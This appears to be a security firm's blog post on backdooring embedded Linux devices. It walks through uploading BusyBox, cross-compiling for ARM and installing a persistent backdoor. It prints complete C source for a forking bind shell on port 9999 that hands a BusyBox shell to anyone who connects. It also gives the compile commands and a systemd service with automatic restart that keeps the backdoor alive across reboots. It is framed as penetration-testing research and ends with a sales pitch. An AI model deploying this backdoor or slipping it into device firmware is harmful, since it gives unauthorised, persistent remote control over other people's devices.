Backdoor Techniques for Remote Control on Embedded Devices

embedded circuit deviceIn our daily lives, we interact with a myriad of devices. Many of which may seem simple on the surface, but in fact, are powered by sophisticated technology. These are not your typical computers or smartphones, but specialized systems known as embedded devices. Embedded devices are the unsung heroes of our modern life. Quietly and efficiently performing dedicated tasks that range from the mundane to the critical. 

Introduction to the World of Embedded Devices 

So, you may be wondering, what exactly are these embedded devices, and why are they so integral to our daily routines and the broader technological landscape? 

In this blog post, we’ll dive deep into the technical realm of gaining persistence on these systems. We will focus on the intricate process of creating custom binaries, which is a critical skill for researchers and developers aiming to execute code on these devices remotely. Whether you’re a cybersecurity enthusiast, an embedded systems developer, or a tech-savvy individual with a keen interest in the intersection of software and hardware, this post will guide you through the steps and considerations for establishing control and maintaining persistence on these devices. 

Interactive Shells on an Embedded Device 

If you have ever obtained a shell on an embedded device, you may have noticed that it is a wildly different experience compared to your more familiar flavors of Linux distributions. These devices are likely different than any Linux operating system you have used before. 

That is because they commonly run a light-weight version of Linux that only contains core packages needed to function. You may be thinking, “Well, how stripped down are we talking?” In our experience, you are in-luck if the operating system even recognizes the famous “whoami” command. 

Figure 1: Running the “whoami” command on an embedded ARM device. 

Embedded Linux systems do, however, commonly have BusyBox installed on the system. The BusyBox binary stands as a multifaceted tool streamlining the essence of numerous UNIX utilities into a single, compact executable. BusyBox is a Swiss Army knife for systems where resources are scarce and functionality cannot be compromised. It consolidates over a hundred standard commands and utilities into one lightweight file making it the go-to solution for maintaining the core functionalities of embedded operating systems. 

Typically, when running commands on an embedded device, it is just a soft link to the BusyBox binary. 

Figure 2: Directory listing of the “/sbin” directory. 

BusyBox has several different versions that have been compiled for a variety of architectures, including MIPS and ARM. This comes in handy after obtaining an initial shell on a device as sometimes it may not have BusyBox binary installed or may only have a version with limited commands. This makes it possible to easily download a compatible version online and upload it to the target device to give us more control. 

Figure 3: BusyBox binary download page 

After uploading a compatible BusyBox binary to the target, one could script a netcat bind shell to initialize on startup. 

Figure 4: Executing and retrieving a netcat reverse shell on the target embedded device. 

This solution may work in a crunch, but there are more reliable ways to maintain persistent remote access. Additionally, this is not a full TTY shell which is a much more powerful shell type than this dumb netcat shell. A TTY shell is a shell that gives us access to the terminal. In addition to displaying STDOUT, it will also display streams such as STDERR. Some commands produce error messages that are outputted through a stream other than STDOUT. It benefits attackers greatly to have a shell displaying these output streams when remotely executing commands.

Cross-Compiling for ARM 

This brings us to the main topic of this blog: cross-compiling binaries for embedded devices. Because these devices frequently run on ARM architecture, you cannot just use your standard GCC on Ubuntu to compile your C program. This requires a cross-compiler to compile an ARM compatible binary. 

In the above example, we used a fully updated Ubuntu 22.04 virtual machine to cross-compile. Before starting, some packages need to be installed. 

The GCC cross-compiler supporting programs can be installed like below: 

sudo apt install libc6-armel-cross libc6-dev-armel-cross binutils-arm-linux-gnueabi libncurses5-dev build-essential bison flex libssl-dev bc

Afterward, the ARM cross-compiler needs to be installed like so: 

sudo apt install gcc-arm-linux-gnueabi 

Payload Source Code 

For the bind shell, we will be using a slightly modified version of this program. In order to make the backdoor more persistent and allow us to connect back multiple times, the following changes are implemented: 

#include <stdio.h> 
#include <stdlib.h> 
#include <string.h> 
#include <sys/types.h> 
#include <sys/socket.h> 
#include <netinet/in.h> 

#define SERVER_PORT 9999 
 /* CC-BY: Osanda Malith Jayathissa (@OsandaMalith) 
  * Bind Shell using Fork for my TP-Link mr3020 router running busybox 
  * Arch : MIPS 
  * mips-linux-gnu-gcc mybindshell.c -o mybindshell -static -EB -march=24kc 
  */ 
int main() { 
int serverfd, clientfd, server_pid, i = 0; 
char *banner = "[~] Welcome to @OsandaMalith's Bind Shell\n"; 
char *args[] = { "/bin/busybox", "bash", (char *) 0 }; 
struct sockaddr_in server, client; 
socklen_t len; 

int x = fork(); 
if (x == 0) {

server.sin_family = AF_INET; 
server.sin_port = htons(SERVER_PORT); 
server.sin_addr.s_addr = INADDR_ANY;  

serverfd = socket(AF_INET, SOCK_STREAM, 0); 
bind(serverfd, (struct sockaddr *)&server, sizeof(server)); 
listen(serverfd, 1); 

    while (1) {  
    len = sizeof(struct sockaddr); 
    clientfd = accept(serverfd, (struct sockaddr *)&client, &len); 
        server_pid = fork();  
        if (server_pid) {  
        write(clientfd, banner,  strlen(banner)); 
        for(; i <3 /*u*/; i++) dup2(clientfd, i); 
        execve("/bin/busybox", args, (char *) 0); 
        close(clientfd);  
    } close(clientfd); 
} 
    } return 0; 
}

Compiling 

Cross-compiling the program for the embedded device is as easy as executing the following code snippet: 

arm-linux-gnueabi-gcc backdoor.c -static -o backdoor 

Because every device is different, it is easiest to utilize the -static flag. This can be used to compile the needed libraries within the binary. While this makes the payload significantly larger, it is much more versatile and less dependent on the environment. 

Compiling with the -static flag in GCC (GNU Compiler Collection) instructs the compiler to create a statically linked executable. This has specific implications and advantages in various scenarios including: 

  • Self-Containment: A statically linked executable includes all the necessary library code within the executable itself. It doesn’t rely on separate shared library files (.so files on Linux, for instance) at runtime. 
  • Portability: Because the executable contains all the code it needs, it can run on any system with a compatible architecture and kernel without the need for installing additional libraries. This makes the executable highly portable between systems. 
  • Consistency and Reliability: Since the executable isn’t affected by changes in the system’s shared libraries, it remains consistent in its behavior across different systems as well as over time. You won’t run into issues where an update to a shared library causes unexpected behavior or compatibility problems. 

After successfully compiling the binary, we upload it to the target device to test the compatibility. 

Figure 5: Executing our custom cross-compiled backdoor executable on the target embedded device. 

As shown in the above example, there are no errors upon execution. Since this is functioning accurately, we can now connect it to our attacking machine. 

Figure 6: Connecting to the bind shell backdoor and listing the current working directory. 

In the above example, you can see that everything is working as intended.  

Persistence 

Setting up the backdoor binary to run as a service on an embedded device can offer several tactical advantages, particularly in cybersecurity research, penetration testing, or for ensuring remote access for maintenance and monitoring. 

One of the primary advantages of this approach is the assurance of persistent access. By establishing the backdoor as a service, it remains operational across system reboots and resets. This is a critical feature for maintaining long-term monitoring or during extensive security assessments. This persistent nature is complemented by the automatic execution characteristic of services which ensures that the backdoor becomes active autonomously upon each startup of the device and eliminating the need for manual intervention after every reboot. 

Assuming the target embedded device is utilizing systemd for services, you should be able to setup the backdoor binary to run as a service. 

Add the following script to the directory as a file called backdoor.service: 

/etc/systemd/system/backdoor.service 
[Unit] 
Description=Backdoor bind shell 

[Service] 
Type=forking 
ExecStart=/root/backdoor 
WorkingDirectory=/root 
Restart=always 
RestartSec=5 

[Install] 
WantedBy=multi-user.target 

Afterwards, run the following commands to enable and start the service: 

systemctl enable backdoor 

systemctl start backdoor 

You can check the status of your service by either running netstat to see if port 9999 is being exposed, or systemctl status backdoor to see if the service is active. 

Is your team interested in applying backdoor techniques on embedded devices? Contact us today. We’re eager to understand more about your ecosystem and explore how we can enhance its security.

Share to

Share

Share to

Like our content? Subscribe and stay informed.